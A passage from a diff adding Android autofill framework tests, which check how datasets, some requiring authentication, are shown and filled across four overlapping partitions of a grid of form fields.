+                        .setField(ID_L1C1, "1L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, "2l1c1") // from previous partition
+                        .setField(ID_L2C1, "2l2c1")
+                        .setField(ID_L2C2, "2l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1"); // changed
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, "3l1c2")
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, "3l2c2")
+                        .setField(ID_L3C1, "3L3C1")
+                        .setField(ID_L3C2, "3L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P3D1"); // changed
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P3D2"); // changed
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, "4l1c1")
+                        .setField(ID_L1C2, "4l1c2")
+                        .setField(ID_L2C1, "4l2c1")
+                        .setField(ID_L2C2, "4l2c2")
+                        .setField(ID_L3C1, "4l3c1")
+                        .setField(ID_L3C2, "4l3c2")
+                        .setField(ID_L4C1, "4l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L1C2, "4L1C2")
+                        .setField(ID_L2C1, "4L2C1")
+                        .setField(ID_L2C2, "4L2C2")
+                        .setField(ID_L3C1, "4L3C1")
+                        .setField(ID_L3C2, "4L3C2")
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+        focusCell(4, 1);
+        mUiBot.selectDataset(chosenOne);
+        expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillMultipleAuthDatasetsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        // Autofill it...
+        mUiBot.selectDataset("P1D1");
+        // ... and assert result
+        expectation1.assertAutoFilled();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P2D2");
+        // ... and assert result
+        expectation2.assertAutoFilled();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P3D1");
+        // ... and assert result
+        expectation3.assertAutoFilled();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P4D2");
+        // ... and assert result
+        expectation4.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and all datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and some datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsMixedAuthNoAuthNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickFirst() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickSecond() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleAuthDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L1C1, "2l1c1") // from previous partition
+                    .setField(ID_L2C1, "2l2c1")
+                    .setField(ID_L2C2, "2l2c2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1"); // changed
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C2, "3l1c2") // from previous partition
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P3D1"); // changed
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P3D2"); // changed
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4l1c1") // from previous partition
+                        .setField(ID_L1C2, "4l1c2") // from previous partition
+                        .setField(ID_L2C1, "4l2c1") // from previous partition
+                        .setField(ID_L2C2, "4l2c2") // from previous partition
+                        .setField(ID_L3C1, "4l3c1") // from previous partition
+                        .setField(ID_L3C2, "4l3c2") // from previous partition
+                        .setField(ID_L4C1, "4l4c1")
+                        .build());
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L1C2, "4L1C2") // from previous partition
+                        .setField(ID_L2C1, "4L2C1") // from previous partition
+                        .setField(ID_L2C2, "4L2C2") // from previous partition
+                        .setField(ID_L3C1, "4L3C1") // from previous partition
+                        .setField(ID_L3C2, "4L3C2") // from previous partition
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
